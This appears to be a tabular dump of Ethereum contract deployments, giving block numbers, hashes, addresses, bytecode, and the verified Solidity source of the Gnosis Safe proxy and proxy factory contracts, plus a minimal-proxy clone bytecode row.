1 | 19,495,035 | c4fea162802d9fe61a039f0b4cd3de8efa6358ed9bb9054489430d72d1ea8d09 | 9659cf8f85a5b5e6d60f9095968b16a2305bea00f728f8a2f18c01aa124d47d0 | 1429cecdcf6b85f0f54d6c3a5d136fb54b0ac1a9 | a6b71e26c5e0845f74c812102ca7114b6a896ab2 | 51593245549c71d17f3c9b19369d541301ef8986 | 608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552 | 608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033 | // SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <[email protected]>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <[email protected]>
/// @author Richard Meissner - <[email protected]>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <[email protected]>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
} |
1 | 19,495,038 | c5fe3c7c0c90c77c5b8a1eb0f784f3cff0b218e6e10f7784752c8b59def9073d | 3b22a9708575d044f6e0738725b76d6542314a6612099e9a7978da514c0a9ef0 | a7f757f916fe4cbc5e097f6657f5657c7e82776c | 881d4032abe4188e2237efcd27ab435e81fc6bb1 | cc74879cbe027182949ce156fc4aa3d89bed273c | 3d602d80600a3d3981f3363d3d373d3d3d363d7332716de33ea7195b2016de930a756bf202ee2edd5af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d7332716de33ea7195b2016de930a756bf202ee2edd5af43d82803e903d91602b57fd5bf3 |
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